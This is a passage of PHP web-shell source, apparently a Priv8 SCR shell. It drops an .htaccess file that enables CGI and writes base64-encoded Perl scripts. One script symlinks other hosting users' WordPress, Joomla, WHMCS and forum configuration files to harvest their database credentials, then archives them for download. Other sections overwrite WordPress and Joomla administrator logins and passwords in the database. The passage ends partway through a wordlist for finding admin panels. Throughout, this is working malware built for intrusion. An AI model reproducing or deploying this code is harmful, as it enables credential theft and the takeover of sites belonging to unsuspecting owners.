ByaW50UGFnZUhlYWRlcjsKCXByaW50ICZWaWV3TG9nOwoKfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbgp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0KJlByaW50UGFnZUZvb3Rlcjs=';
$file = fopen("cgi2012.izo" ,"w+");
$write = fwrite ($file ,base64_decode($cgi2012));
fclose($file);
chmod("cgi2012.izo",0755);
echo " <iframe src=cgi2012/cgi2012.izo width=96% height=76% frameborder=0></iframe>
</div>"; }
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'config'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=config" method="post">
<?php
echo "<center/><br/><b><font color=#00ff00>+--==[ Config Shell Priv8 SCR ]==--+</font></b><br><br>";
mkdir('config', 0755);
chdir('config');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Error cuyy!");
$metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .cpc
AddHandler cgi-script .izo
AddHandler cgi-script .izo";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$configshell = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyIgLz4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPg0KPHRpdGxlPlByaXY4IFNDUjwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLm5ld1N0eWxlMSB7DQogZm9udC1mYW1pbHk6IHRhaG9tYSwgdmVyZGFuYSwgQXJpYWw7DQogZm9udC1zaXplOiBtZWRpdW07DQogY29sb3I6ICNGRkZGRkY7DQogYmFja2dyb3VuZC1jb2xvcjogIzY2NjY2NjsNCiB0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KJzsNCnN1YiBsaWx7DQogICAgKCR1c2VyKSA9IEBfOw0KJG1zciA9IHF4e3B3ZH07DQoka29sYT0kbXNyLiIvIi4kdXNlcjsNCiRrb2xhPX5zL1xuLy9nOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYSAtIGhvbWUudHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcy50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd29yZHByZXNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dlYi93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcyAtIHdlYi50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9TU0kucGhwJywka29sYS4nLSBDIE0gRiAudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vU1NJLnBocCcsJGtvbGEuJy0gQyBNIEYgLSBmb3J1bS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmMvY29uZmlnLnBocCcsJGtvbGEuJy0gTXlCQi50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luYy9jb25maWcucGhwJywka29sYS4nLSBNeUJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nLSBPdGhlci50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2xpYi9jb25maWcucGhwJywka29sYS4nLSBCYWxpdGJhbmcudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWNsaWVudHMudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnQudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5nLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmdzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jcyAtIHdobWNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gd2htIC0gd2htLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLSBWQnVsbGV0aW4gLSBmb3J1bS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vY29uZmlnLnBocCcsJGtvbGEuJwktIFBocEJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jIC0gd2htYy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCcsJGtvbGEuJwktIHdobWNzMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1tYW5nZXdobWNzLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1teXNob3AudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnQudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnRzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbW1lcmNlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictb3Njb21tZXJjZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3Njb21tZXJjZXMvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1vc2NvbW1lcmNlcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2hvcHBpbmcvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1zaG9wLXNob3BwaW5nLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zYWxlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2FsZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYW1lbWJlci9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd3AudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd3dvcmRwcmVzcyAtIHdwIC0gYmV0YS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmV0YS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBiZXRhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtcHJlc3MudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLXdvcmRwcmVzcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd29yZHByZXNzL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd29yZHByZXNzLWJldGEudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ld3Mvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC1uZXdzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbmV3LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBibG9ncy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBob21lLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcm90YWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gcHJvdGFsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAnLCRrb2xhLictIHdvcmRwcmVzcyAtIHNpdGUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdGVzdC93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSB0ZXN0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhIC0gam9vbWxhIC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJvdGFsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBwcm90YWwudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvby9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gam9vLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGNtcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2l0ZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gc2l0ZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbmV3cy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBuZXcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGhvbWUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHZiLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92YjMvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0gdmIzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jcGFuZWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY3BhbmVsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1wYW5lbC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1ob3N0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0aW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RpbmcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRrb2xhLictemVuY2FydC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3plbmNhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLSB6ZW5jYXJ0IC0gc2hvcC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLXNob3AtWkNzaG9wLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zbWYvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYgLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9TZXR0aW5ncy5waHAnLCRrb2xhLictIHNtZiAtIGZvcnVtLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW1zL1NldHRpbmdzLnBocCcsJGtvbGEuJy0gc21mIC0gZm9ydW1zLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdXBsb2FkL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHVwbG9hZCAudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2wvY29uZmlnLnBocCcsJGtvbGEuJy0gbWFsYXkudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy9rb25la3NpLnBocCcsJGtvbGEuJy0gbG9rb21lZGlhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9zeXN0ZW0vc2lzdGVtLnBocCcsJGtvbGEuJy0gbG9rb21lZGlhLnR4dCcpOyANCiB9DQppZiAoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAnUE9TVCcpIHsNCiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQp9IGVsc2Ugew0KICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7DQogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOw0KICAkbmFtZSA9fiB0ci8rLyAvOw0KICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkdmFsdWUgPX4gdHIvKy8gLzsNCiAgJHZhbHVlID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPiZuYnNwOzwvcD4NCjxmb3JtIG1ldGhvZD0icG9zdCI+DQo8dGV4dGFyZWEgbmFtZT0icGFzcyIgc3R5bGU9IndpZHRoOiA1NDNweDsgaGVpZ2h0OiA0MDBweCI+PC90ZXh0YXJlYT4NCjxiciAvPjxiciAvPg0KPGlucHV0IG5hbWU9InRhciIgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOiAyMTJweCIgLz48YnIgLz48YnIgLz4NCjxpbnB1dCBuYW1lPSJTdWJtaXQxIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJIYWphciAuLiEiIHN0eWxlPSJ3aWR0aDogOTlweCIgLz4NCjxiciAvPg0KPC9mb3JtPic7DQp9ZWxzZXsNCkBsaW5lcyA9PCRGT1JNe3Bhc3N9PjsNCiR5ID0gQGxpbmVzOw0Kb3BlbiAoTVlGSUxFLCAiPnRhci50bXAiKTsNCnByaW50IE1ZRklMRSAidGFyIC1jemYgIi4kRk9STXt0YXJ9LiIudGFyICI7DQpmb3IgKCRrYT0wOyRrYTwkeTska2ErKyl7DQp3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiZsaWwoJDEpOw0KcHJpbnQgTVlGSUxFICQxLiIudHh0ICI7DQpmb3IoJGtkPTE7JGtkPDE4OyRrZCsrKXsNCnByaW50IE1ZRklMRSAkMS4ka2QuIi50eHQgIjsNCn0NCn0NCiB9DQpwcmludCc8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPkRvbmUgISE8L3A+DQo8cD4mbmJzcDs8L3A+JzsNCmlmKCRGT1JNe3Rhcn0gbmUgIiIpew0Kb3BlbihJTkZPLCAidGFyLnRtcCIpOw0KQGxpbmVzID08SU5GTz4gOw0KY2xvc2UoSU5GTyk7DQpzeXN0ZW0oQGxpbmVzKTsNCnByaW50JzxwPjxhIGhyZWY9IicuJEZPUk17dGFyfS4nLnRhciI+IGRvd25sb2FkICBmaWxlPC9hPjwvcD4nOw0KfQ0KfQ0KIHByaW50Ig0KPC9ib2R5Pg0KPC9odG1sPiI7';
$file = fopen("config.izo" ,"w+");
$write = fwrite ($file ,base64_decode($configshell));
fclose($file);
chmod("config.izo",0755);
echo "<iframe src=config/config.izo width=97% height=100% frameborder=0></iframe>
</div>";
}
/////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'wp-reset'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=wp-reset" method="post">
<?php
echo "<center/><br/><b><font color=#00ff00>+--==[ Wordpress Reset Password ]==--+</font></b><br><br>";
if(empty($_POST['pwd'])){
echo "<FORM method='POST'>
<table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL server</th></tr> <tr><td> Hostname</td><td>
<input style='width:220px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td> Database</td><td>
<input style='width:220px;' class='inputz' type='text' name='database' value='wp-' /></td></tr> <tr><td> username</td><td>
<input style='width:220px;' class='inputz' type='text' name='username' value='wp-' /></td></tr> <tr><td> password</td><td>
<input style='width:220px;' class='inputz' type='text' name='password' value='**' /></td></tr>
<tr><td> User baru</td><td>
<input style='width:220px;' class='inputz' type='text' name='admin' value='admin' /></td></tr>
<tr><td> Pass Baru</td><td>
<input style='width:80px;' class='inputz' type='text' name='pwd' value='123456' />
<input style='width:19%;' class='inputzbut' type='submit' value='change!' name='send' /></FORM>
</td></tr> </table><br><br><br><br>
";
}else{
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$pwd = $_POST['pwd'];
$admin = $_POST['admin'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$hash = crypt($pwd);
$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 2") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 2") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 3") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 3") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_email ='".$SQL."' WHERE ID = 1") or die(mysql_error());
if($a4s){
echo "<b> Success ..!! :)) sekarang bisa login ke wp-admin</b> ";
}
}
echo "
</div>"; }
elseif(isset($_GET['x']) && ($_GET['x'] == 'jm-reset'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=jm-reset" method="post">
<?php
echo "<center/><br/><b><font color=#00ff00>+--==[ Joomla Reset Password ]==--+</font></b><br><br>";
if(empty($_POST['pwd'])){
echo "<FORM method='POST'><table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL </th></tr> <tr><td> Host</td><td>
<input style='width:270px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td> Database</td><td>
<input style='width:270px;' class='inputz' type='text' name='database' value='database' /></td></tr> <tr><td> username</td><td>
<input style='width:270px;' class='inputz' type='text' name='username' value='db_user' /></td></tr> <tr><td> password</td><td>
<input style='width:270px;' class='inputz' type='password' name='password' value='**' /></td></tr>
<tr><td> User baru</td><td>
<input style='width:270px;' class='inputz' name='admin' value='admin' /></td></tr>
<tr><td> pass baru </td><td>123456 =
<input style='width:130px;' class='inputz' name='pwd' value='e10adc3949ba59abbe56e057f20f883e' />
<input style='width:23%;' class='inputzbut' type='submit' value='change!' name='send' /></FORM>
</td></tr> </table><br><br><br><br>
";
}else{
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$pwd = $_POST['pwd'];
$admin = $_POST['admin'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$hash = crypt($pwd);
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 62") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 62") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 63") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 63") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 64") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 64") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 65") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 65") or die(mysql_error());
if($SQL){
echo "<b>Success : skarang password barunya >>> - (123456)";
}
}
echo "
</div>";
}
//////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'adfin'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=adfin" method="post">
<?php
set_time_limit(0);
error_reporting(0);
$list['front'] ="admin
adm
admincp
admcp
cp
modcp
moderatorcp
adminare
admins
cpanel
controlpanel";
$list['end'] = "admin1.php
admin1.html
admin2.php
admin2.html
yonetim.php
yonetim.html
yonetici.php
yonetici.html
ccms/
ccms/login.php
ccms/index.php
maintenance/
webmaster/
adm/
configuration/
configure/
websvn/
admin/
admin/account.php
admin/account.html
admin/index.php
admin/index.html
admin/login.php
admin/login.html
admin/home.php
admin/controlpanel.html
admin/controlpanel.php
admin.php
admin.html
admin/cp.php
admin/cp.html
cp.php
cp.html
administrator/
administrator/index.html
administrator/index.php
administrator/login.html
administrator/login.php
administrator/account.html
administrator/account.php
administrator.php
administrator.html
login.php
login.html
modelsearch/login.php
moderator.php
moderator.html
moderator/login.php
moderator/login.html
moderator/admin.php
moderator/admin.html
moderator/
account.php
account.html
controlpanel/
controlpanel.php
controlpanel.html
admincontrol.php
admincontrol.html
adminpanel.php
adminpanel.html
admin1.asp
admin2.asp
yonetim.asp
yonetici.asp
admin/account.asp
admin/index.asp
admin/login.asp
admin/home.asp
admin/controlpanel.asp
admin.asp
admin/cp.asp
cp.asp
administrator/index.asp
administrator/login.asp
administrator/account.asp
administrator.asp
login.asp
modelsearch/login.asp
moderator.asp
moderator/login.asp
moderator/admin.asp
account.asp
controlpanel.asp
admincontrol.asp
adminpanel.asp
fileadmin/
fileadmin.php
fileadmin.asp
fileadmin.html
administration/
administration.php
administration.html
sysadmin.php
sysadmin.html
phpmyadmin/
myadmin/
sysadmin.asp
sysadmin/
ur-admin.asp
ur-admin.php
ur-admin.html
ur-admin/
Server.php
Server.html
Server.asp
Server/
wp-admin/
administr8.php
administr8.html
administr8/
administr8.asp
webadmin/
webadmin.php
webadmin.asp
webadmin.html
administratie/
admins/
admins.php
admins.asp
admins.html
administrivia/
Database_Administration/
WebAdmin/
useradmin/
sysadmins/
admin1/
system-administration/
